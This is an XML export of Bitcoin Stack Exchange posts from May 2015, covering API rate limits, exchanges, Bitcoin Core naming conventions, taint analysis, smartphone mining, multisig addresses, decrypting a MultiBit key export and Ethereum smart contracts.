  <row Id="37632" PostTypeId="1" CreationDate="2015-05-28T01:42:43.297" Score="2" ViewCount="469" Body="&lt;p&gt;I have a query-intensive app I'm building that keeps timing out with the message:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Traceback (most recent call last):&#xA;  File &quot;test.py&quot;, line 72, in &amp;lt;module&amp;gt;&#xA;    array = bitcoin.multiaccess (bitcoin.unspent(address), 'value')&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/bitcoin/bci.py&quot;, line 136, in unspent&#xA;    return f(*args)&#xA;  File &quot;/usr/local/lib/python2.7/dist-packages/bitcoin/bci.py&quot;, line 54, in bci_unspent&#xA;    raise Exception(e) &#xA;Exception: Quota Exceeded (Req Count Limit)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I assume I'm making too many calls to the server. So I requested and received an API key from blockchain.info, but I have no idea how to add it to either the  pybitcointools library (maybe it should go in bci.py, maybe somewhere else?) or my test.py program, to get it to use my API key instead of connecting normally to blockchain.info.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help you can give would be tremendously appreciated.&lt;/p&gt;&#xA;" OwnerUserId="26549" LastActivityDate="2015-05-28T01:42:43.297" Title="How to add blockchain.info API key to pibitcointools" Tags="|api|python|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37633" PostTypeId="2" ParentId="10447" CreationDate="2015-05-28T05:46:05.060" Score="0" Body="&lt;p&gt;There is also quite new, but interesting exchange &lt;a href=&quot;https://www.247exchange.com/&quot; rel=&quot;nofollow&quot;&gt;https://www.247exchange.com/&lt;/a&gt; allowing to buy litecoins with credit and debit cards, bank transfers and cash deposits (400k locations worldwide). That I liked most, that they do not hold user's funds and there is no need to trade there - they will fund your litecoin account right after you will make a payment. Although I was upset that they limit first credit card purchases with about $100, the rates are better than at most other exchanges and instant delivery works great! &lt;/p&gt;&#xA;" OwnerUserId="20992" LastActivityDate="2015-05-28T05:46:05.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37634" PostTypeId="2" ParentId="17252" CreationDate="2015-05-28T06:20:29.130" Score="4" Body="&lt;p&gt;Peatio is an open source crypto exchange. Their README says:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Peatio is a free and open-source crypto currency exchange implementation with the Rails framework and other cutting-edge technology.&lt;/p&gt;&#xA;&lt;h3&gt;&lt;strong&gt;Mission&lt;/strong&gt;&lt;/h3&gt;&#xA;&lt;p&gt;Our mission is to build the world best open-source crypto currency exchange with a high performance trading engine and safety which can be trusted and enjoyed by users. Additionally we want to move the crypto currency exchange technology forward by providing support and add new features. We are helping people to build easy their own exchange around the world.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Their github page:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/peatio/peatio&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/peatio/peatio&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="20881" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2015-05-29T14:07:18.180" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37636" PostTypeId="2" ParentId="2651" CreationDate="2015-05-28T08:18:20.187" Score="4" Body="&lt;p&gt;Here is how you get RPC SSL to work...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;rpcssl=1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now here is the secret...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your server.key and server.cert must be placed inside your /bitcoin/testnet folder, or in my case /bitcoin/testnet3 folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case I have a server.pem file instead of server.cert.  A chained security certificate file.&lt;/p&gt;&#xA;" OwnerUserId="26687" LastActivityDate="2015-05-28T08:18:20.187" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37637" PostTypeId="2" ParentId="37583" CreationDate="2015-05-28T10:30:19.057" Score="5" Body="&lt;p&gt;I have seen this text before while parsing the blockchain (before upgrading to headers first v0.10 of course). It's quite doubtful this is code written by Satoshi, since the git commit reference is not proof. It's like using the hash for the genesis block to sign code: the hash is/was public knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.righto.com/2014/02/ascii-bernanke-wikileaks-photographs.html&quot; rel=&quot;noreferrer&quot;&gt;Ken Shirriff highlighted this Python code&lt;/a&gt; found in exactly the same manner as the Electrum fix code:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/shirriff/64f48fa09a61b56ffcf9#file-bitcoin-file-downloader-py&quot; rel=&quot;noreferrer&quot;&gt;https://gist.github.com/shirriff/64f48fa09a61b56ffcf9#file-bitcoin-file-downloader-py&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://gist.github.com/shirriff/bfc4df70a02732493a28#file-bitcoin-insertion-tool-py&quot; rel=&quot;noreferrer&quot;&gt;https://gist.github.com/shirriff/bfc4df70a02732493a28#file-bitcoin-insertion-tool-py&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;This code is likely what was used to embed the code in the blockchain. Note both these Python (version 3.x FWIW) programs are attributed to &lt;code&gt;Satoshi Nakamoto 2013&lt;/code&gt; (~2 years after the final communication).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ken Shirriff had &lt;a href=&quot;http://www.righto.com/2014/02/ascii-bernanke-wikileaks-photographs.html?utm_content=buffer65ec8&amp;amp;utm_medium=social&amp;amp;utm_source=twitter.com&amp;amp;utm_campaign=buffer%23ref17&quot; rel=&quot;noreferrer&quot;&gt;this to say (ref17)&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Email from Satoshi Nakamoto&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;The following email message allegedly from Bitcoin inventor Satoshi&#xA;  Nakamoto appears in the blockchain.[17] (It's almost certainly not&#xA;  really from him.) It seems to be referring to the removal of some&#xA;  Script opcodes from the Bitcoin server earlier and making the&#xA;  corresponding change to the Electrum server. My guess is this message&#xA;  is someone pointing out a bug fix for Electrum in a joking way.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2015-05-28T10:30:19.057" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37639" PostTypeId="1" AcceptedAnswerId="37644" CreationDate="2015-05-28T12:32:59.347" Score="4" ViewCount="2605" Body="&lt;p&gt;I am going to write software that gets information from the blockchain directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any tools or libraries to speed up that process? I am looking for things like decoding and encoding transactions, verifying signatures, scanning for certain data etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Preferred languages: Python or C/C++.&lt;/p&gt;&#xA;" OwnerUserId="26689" LastActivityDate="2015-05-28T14:22:39.607" Title="Are there any blockchain inspection tools/libraries?" Tags="|blockchain|python|library|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37640" PostTypeId="1" AcceptedAnswerId="37642" CreationDate="2015-05-28T12:47:46.377" Score="0" ViewCount="231" Body="&lt;p&gt;&lt;strong&gt;Is there specific reference for naming conventions in Bitcoin Core source code?&lt;/strong&gt; &lt;br/&gt;&#xA;I see regularity in class naming with prefix &quot;C&quot; (Chain, CInv etc.) or pointer naming with &quot;p&quot; (pprev, pnode etc. ) and am wondering if there's more to my list of prefixes or other conventions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Is there a Bitcoin-specific naming convention at all?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24556" LastActivityDate="2015-05-28T14:19:18.390" Title="Naming Convention In Bitcoin Source Code" Tags="|development|bitcoin-core-development|bitcoin-core|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37642" PostTypeId="2" ParentId="37640" CreationDate="2015-05-28T14:12:36.220" Score="4" Body="&lt;p&gt;&lt;a href=&quot;http://en.wikipedia.org/wiki/Hungarian_notation&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Hungarian_notation&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;C&lt;/code&gt; stands for Class&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;p&lt;/code&gt; for Pointer&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;f&lt;/code&gt; for Flag (boolean)&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;n&lt;/code&gt; for Number&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;sz&lt;/code&gt; for zero terminated string&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;These conventions are no longer mandatory when contributing to bitcoin core.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also read &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/developer-notes.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/doc/developer-notes.md&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-05-28T14:12:36.220" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37643" PostTypeId="2" ParentId="37640" CreationDate="2015-05-28T14:19:18.390" Score="1" Body="&lt;p&gt;The style guide for Bitcoin Core is available on &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/developer-notes.md&quot; rel=&quot;nofollow noreferrer&quot;&gt;GitHub here&lt;/a&gt;. It no longer details a naming convention, but as &lt;a href=&quot;https://bitcoin.stackexchange.com/users/2306/nick-odell&quot;&gt;Nick ODell&lt;/a&gt; already mentioned above, variables typically follow a form of &lt;a href=&quot;http://en.wikipedia.org/wiki/Hungarian_notation#Systems_vs._Apps_Hungarian&quot; rel=&quot;nofollow noreferrer&quot;&gt;Apps Hungarian&lt;/a&gt; naming.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the past, the style guide did include &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/v0.9.5/doc/coding.md#coding&quot; rel=&quot;nofollow noreferrer&quot;&gt;a naming convention&lt;/a&gt;, however it has since been removed because &lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/4498#issuecomment-50391941&quot; rel=&quot;nofollow noreferrer&quot;&gt;it wasn't being consistently followed&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="25088" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2015-05-28T14:19:18.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37644" PostTypeId="2" ParentId="37639" CreationDate="2015-05-28T14:22:39.607" Score="4" Body="&lt;p&gt;You probably make the right decision to not use one of the centralized API (blockchain.com, etc.).&#xA;Run you own bitcoin-core fullnode(s) and connect to the RPC or REST interface.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could connect via python with things like &lt;a href=&quot;http://laanwj.github.io/bitcoin-python/doc/examples.html&quot; rel=&quot;nofollow&quot;&gt;http://laanwj.github.io/bitcoin-python/doc/examples.html&lt;/a&gt; or any other RPC client.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need blocks / headers / chaininfos and transactions, consider enabling bitcoind &lt;code&gt;-txindex&lt;/code&gt; and access data over the REST API (&lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/doc/REST-interface.md&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bitcoin/blob/master/doc/REST-interface.md&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you need to verify scripts, you could use libbitcoinconsensus. There is a verify function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;EXPORT_SYMBOL int bitcoinconsensus_verify_script(const unsigned char *scriptPubKey, unsigned int scriptPubKeyLen,&#xA;                                    const unsigned char *txTo        , unsigned int txToLen,&#xA;                                    unsigned int nIn, unsigned int flags, bitcoinconsensus_error* err);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bitpays insight is also a nice library (&lt;a href=&quot;https://github.com/bitpay/insight&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitpay/insight&lt;/a&gt;) but it's javascript node.js based.&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-05-28T14:22:39.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37645" PostTypeId="1" CreationDate="2015-05-28T17:56:52.910" Score="8" ViewCount="1667" Body="&lt;p&gt;I'd like to understand taint analysis quantitatively. Blockchain.info offers a &lt;a href=&quot;https://blockchain.info/taint/1dice6GV5Rz2iaifPvX7RMjfhaNPC8SXH&quot; rel=&quot;nofollow noreferrer&quot;&gt;service&lt;/a&gt; that will calculate taint, but I've found no good explanation for how taint is calculated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The best (and only) explanation I've found so far appears in the paper &lt;a href=&quot;https://www.wi.uni-muenster.de/sites/default/files/public/department/itsecurity/mbc13/mbc13-moeser-paper.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Anonymity of Bitcoin Transactions&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gg2KF.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The taint analysis works by calculating the percentage of the&#xA;  amount of bitcoins that might origin from another address,&#xA;  thus revealing connections in the transaction graph. In the&#xA;  simplified example in Figure 4, A&lt;sub&gt;1&lt;/sub&gt; and A&lt;sub&gt;3&lt;/sub&gt; would have a taint of 75% and A&lt;sub&gt;2&lt;/sub&gt; a taint of 25%. However, it can only detect direct connections in the graph and does not consider any&#xA;  context information.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This explanation is confusing. Taint is measured between two pseudonyms (addresses). It's not a property of a particular pseudonym. The paper seems to be missing the part that says the taint scores for A&lt;sub&gt;1&lt;/sub&gt;, A&lt;sub&gt;2&lt;/sub&gt;, and A&lt;sub&gt;3&lt;/sub&gt; are relative to A&lt;sub&gt;4&lt;/sub&gt;. If so, then the scores make sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, it's not clear what would happen for more complex chains of ownership. For example, imagine another pseudonym, A&lt;sub&gt;5&lt;/sub&gt; that pays A&lt;sub&gt;1&lt;/sub&gt; 5 BTC. What would be the taint score between A&lt;sub&gt;5&lt;/sub&gt; and A&lt;sub&gt;4&lt;/sub&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've seen &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/7966/what-are-tainted-coins-exactly&quot;&gt;this&lt;/a&gt;, but it doesn't discuss how to compute a taint score between two pseudonyms.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What I'd like to see is the outline of a step-by-step procedure for calculating taint, as done by Blockchain.info. If I had to guess, here's how the procedure would look:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Find two pseudonyms, S (source) and T (target). Funds flow from S to T.&lt;/li&gt;&#xA;&lt;li&gt;Using the block chain, find a chain of ownership C&lt;sub&gt;i&lt;/sub&gt; from each coin controlled by S to T.&lt;/li&gt;&#xA;&lt;li&gt;For each chain of ownership C&lt;sub&gt;i&lt;/sub&gt;, find the lowest valued coin transfer m&lt;sub&gt;i&lt;/sub&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Sum all m&lt;sub&gt;i&lt;/sub&gt;, giving m.&lt;/li&gt;&#xA;&lt;li&gt;Sum the value of all outputs received through T, giving s.&lt;/li&gt;&#xA;&lt;li&gt;Taint is defined as m/s.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Using this procedure would give a taint score of 50% between A&lt;sub&gt;5&lt;/sub&gt; and A&lt;sub&gt;4&lt;/sub&gt; (2 / 4).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this correct?&lt;/p&gt;&#xA;" OwnerUserId="10845" LastEditorUserId="516" LastEditDate="2017-10-31T23:20:27.260" LastActivityDate="2017-10-31T23:20:27.260" Title="Procedure for calculating taint?" Tags="|privacy|traceability|taint-analysis|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37648" PostTypeId="2" ParentId="37625" CreationDate="2015-05-29T01:46:19.247" Score="1" Body="&lt;p&gt;Mike Hearn pointed out earlier on the mailing list, Satoshi added a block limit to avoid people mining &quot;troll blocks&quot;. These are blocks where a miner includes a Gb worth of transaction output/scripts in the coinbase transaction, or thousands of small transactions. A hard block limit puts a cap on our exposure to this. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no &lt;em&gt;minimum&lt;/em&gt; block size, since you can still have empty blocks, so increasing the block limit will have no effect on miners. &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2015-05-29T01:46:19.247" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37651" PostTypeId="2" ParentId="1093" CreationDate="2015-05-29T08:28:22.490" Score="-3" Body="&lt;p&gt;This depends of the network hash rate. Let us assume that the hashrate will decrease to 1 TH/s. That time everyone who has switched off 1 TH/s miner will be able to perform 51% attack only for the cost of electricity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See also: &lt;a href=&quot;https://en.wikipedia.org/wiki/The_Bottle_Imp#Bottle_Imp_paradox&quot; rel=&quot;nofollow&quot;&gt;https://en.wikipedia.org/wiki/The_Bottle_Imp#Bottle_Imp_paradox&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-05-29T08:28:22.490" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37652" PostTypeId="1" AcceptedAnswerId="37654" CreationDate="2015-05-29T09:05:51.647" Score="1" ViewCount="2892" Body="&lt;p&gt;As you perhaps already know, mining started at the beginning with processors then graphic card.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to try to mining on a smartphone. Which electronic component will be the best to calculate hash? Processor or graphic component?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The purpose is only for testing on testnet and get the best performance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keywords such as mining and smartphone don't bring me any relevant results via Google.&lt;/p&gt;&#xA;" OwnerUserId="26697" LastEditorUserId="5406" LastEditDate="2016-03-05T15:11:09.410" LastActivityDate="2016-03-05T15:11:09.410" Title="How to best mine on a smartphone?" Tags="|hashpower|mining-hardware|cpu-mining|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37653" PostTypeId="2" ParentId="37652" CreationDate="2015-05-29T10:49:53.977" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;according to you which electronic component will be the best to calcul&#xA;  hash ? Processor or graphic componement ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Both of them are absolutely useless for generating cryptos. Do not waste energy and time.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2015-05-29T10:49:53.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37654" PostTypeId="2" ParentId="37652" CreationDate="2015-05-29T10:58:26.883" Score="3" Body="&lt;p&gt;Mining on a smartphone is unfavourable and might drain your battery very fast. For bitcoin-mainnet and bitcoin-testnet don't even try to mine on a smartphone (it won't be fun).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you like to do this for testing or research purposes, you probably should use your smartphones GPU over &lt;a href=&quot;http://en.wikipedia.org/wiki/OpenCL&quot; rel=&quot;nofollow&quot;&gt;openCL&lt;/a&gt; or &lt;a href=&quot;http://en.wikipedia.org/wiki/Renderscript&quot; rel=&quot;nofollow&quot;&gt;renderScript&lt;/a&gt;.&#xA;Also have a look at &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/master/src/miner.cpp&quot; rel=&quot;nofollow&quot;&gt;bitcoin-cores mining code&lt;/a&gt; if you like to know more about how mining works (in detail).&lt;/p&gt;&#xA;" OwnerUserId="3697" LastActivityDate="2015-05-29T10:58:26.883" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37655" PostTypeId="1" CreationDate="2015-05-29T14:56:06.653" Score="0" ViewCount="124" Body="&lt;p&gt;I'm referring to the selfish mine attack described by two researchers from Cornell University who describe a &quot;possible&quot; attack with lower than 51% hashing power.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now it's interesting to know &lt;strong&gt;what sorts of mechanisms&lt;/strong&gt;, changes were implemented into the new versions of Bitcoin Core &lt;strong&gt;that detect selfish mining&lt;/strong&gt;, propagate some alerts, disclose suspicious forks etc.?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously peers get to know about other peers' progress on the blockchain through data messages, in particular through updates via inv messages.&#xA;&lt;strong&gt;Are there other types of &quot;messages&quot; exchanged - without the knowledge of the node itself - that would give away secrets about a longer private blockchain, in this case?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="24556" LastEditorUserId="24556" LastEditDate="2015-06-10T16:17:23.923" LastActivityDate="2015-07-10T17:31:39.993" Title="Implicit/Tacit mechanisms in Bitcoin Core disclosing Selfish Mining" Tags="|blockchain-fork|attack|selfish-mining|" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="37656" PostTypeId="1" CreationDate="2015-05-29T16:45:37.583" Score="2" ViewCount="434" Body="&lt;p&gt;I know you can create a multisignature address with the command:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bitcoind createmultisig 2 [&quot;pubkey1&quot;, &quot;pubkey2&quot;, &quot;pubkey3&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As described here: &lt;a href=&quot;https://gist.github.com/gavinandresen/3966071&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/gavinandresen/3966071&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This command returns the address (starting with character '3') and the redeem script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question: how to create that data without using bitcoind? What algorithms are used? I guess the address is just a hash of the redeem script, right? How could I generate the redeem script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Could you point me to some sources?&lt;/p&gt;&#xA;" OwnerUserId="26689" LastActivityDate="2015-05-29T17:24:17.060" Title="What is the algorithm behind multisignature address?" Tags="|bitcoind|algorithms|multi-signature|" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37657" PostTypeId="2" ParentId="37656" CreationDate="2015-05-29T17:24:17.060" Score="2" Body="&lt;p&gt;OK, I found the answer I needed: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=317569&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=317569&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="26689" LastActivityDate="2015-05-29T17:24:17.060" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37659" PostTypeId="1" AcceptedAnswerId="37662" CreationDate="2015-05-29T21:59:10.427" Score="2" ViewCount="3960" Body="&lt;p&gt;Looking for a way to decrypt a private key that was exported by Multibit WITHOUT using Multibit. I need to move they key elsewhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to go this route because I can't get the key to import into Multibit properly (even though I have the password).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="26581" LastEditorUserId="5406" LastEditDate="2015-05-30T11:49:51.713" LastActivityDate="2021-03-30T11:50:31.817" Title="How to decrypt a MultiBit private key?" Tags="|multibit|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37660" PostTypeId="2" ParentId="29755" CreationDate="2015-05-29T22:02:47.510" Score="4" Body="&lt;p&gt;I have composed one of the more comprehensive comparison charts of the various Crypto 2.0 platforms over at &lt;a href=&quot;http://tiny.cc/Crypto&quot; rel=&quot;nofollow&quot;&gt;http://tiny.cc/Crypto&lt;/a&gt; (or &lt;a href=&quot;https://docs.google.com/spreadsheets/d/1FdxxnujeMb_1kWlz1Esqut_jmmWNicbS3Meh1F83tUo/edit#gid=0&quot; rel=&quot;nofollow&quot;&gt;a more direct link&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It currently has pretty comprehensive comparison between Ripple, Ethereum, Mastercoin, NXT, Counterparty and BitShares, with information on other platforms also available although in smaller quantity.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-05-29T22:02:47.510" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="37661" PostTypeId="1" CreationDate="2015-05-29T22:07:26.923" Score="1" ViewCount="376" Body="&lt;p&gt;I'm wondering - what data is available to the Ethereum smart contracts? I stumbled upon &lt;a href=&quot;https://forum.ethereum.org/discussion/1634/tutorial-1-your-first-contract/p1&quot; rel=&quot;nofollow&quot;&gt;some tutorials&lt;/a&gt; on how to write the contracts that give some indication as to a few examples of the data is available, but a more comprehensive list / wiki page would be useful to have for reference.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2015-05-29T23:40:53.527" Title="What data is available to Ethereum smart contracts?" Tags="|development|raw-data|ethereum|smartcontracts|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37662" PostTypeId="2" ParentId="37659" CreationDate="2015-05-29T22:08:02.013" Score="3" Body="&lt;p&gt;The process to decrypt a password protected .key file exported using MultiBit is explained here: &lt;a href=&quot;https://github.com/jim618/multibit/wiki/Export%20and%20limited%20import%20of%20private%20keys&quot; rel=&quot;nofollow&quot;&gt;https://github.com/jim618/multibit/wiki/Export%20and%20limited%20import%20of%20private%20keys&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To decrypt a MultiBit private key export file use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;openssl enc -d -p -aes-256-cbc -a -in \&amp;lt;ciphertext file\&amp;gt; -out \&amp;lt;plaintext file\&amp;gt; -pass pass:\&amp;lt;password\&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8717" LastActivityDate="2015-05-29T22:08:02.013" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="37663" PostTypeId="1" AcceptedAnswerId="38118" CreationDate="2015-05-29T22:36:08.660" Score="4" ViewCount="5363" Body="&lt;p&gt;I am wondering - is it possible to schedule or somehow trigger function calls to an Ethereum smart contract based on the current block height or timestamp? This would involve some pre-payment of gas for execution understandably, but it might be beneficial to have something like:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;If current block height is 1'000'000, send 1000 ether to the block miner&lt;/li&gt;&#xA;&lt;li&gt;If it's 2016-01-01 00:00:00, release funds from escrow&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Of course those functions could be triggered by transactions at an appropriate time, but some sort of &quot;execution scheduling&quot; might be a useful automation of the process.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2018-11-08T20:35:10.247" Title="Is it possible to schedule function calls to an Ethereum smart contract?" Tags="|development|ethereum|smartcontracts|" AnswerCount="5" CommentCount="1" ClosedDate="2020-04-25T23:41:21.783" ContentLicense="CC BY-SA 3.0" />
  <row Id="37664" PostTypeId="2" ParentId="37663" CreationDate="2015-05-29T23:04:23.027" Score="2" Body="&lt;p&gt;It is not in &quot;the&quot; ethereum spec, so no. But it is a feature that has been discussed for &quot;ethereum 2.0&quot; or similar. It is possible that there may even be a hard fork that will enable it in the then-existing network, but there are none currently planned.&lt;/p&gt;&#xA;" OwnerUserId="26704" LastEditorUserId="5406" LastEditDate="2015-05-30T12:01:31.127" LastActivityDate="2015-05-30T12:01:31.127" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="37665" PostTypeId="2" ParentId="37661" CreationDate="2015-05-29T23:40:53.527" Score="1" Body="&lt;p&gt;I'm not sure if this is actually complete, but the solidity language runtime exposes most of the useful stuff:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/ethereum/wiki/wiki/Solidity-Tutorial#block-and-transaction-properties&quot; rel=&quot;nofollow&quot;&gt;https://github.com/ethereum/wiki/wiki/Solidity-Tutorial#block-and-transaction-properties&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So basically, only existing state and new data entered as arguments from new signed transactions. This means &quot;real world&quot; data mostly has to come from some kind of oracle mechanism.&lt;/p&gt;&#xA;" OwnerUserId="26704" LastActivityDate="2015-05-29T23:40:53.527" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
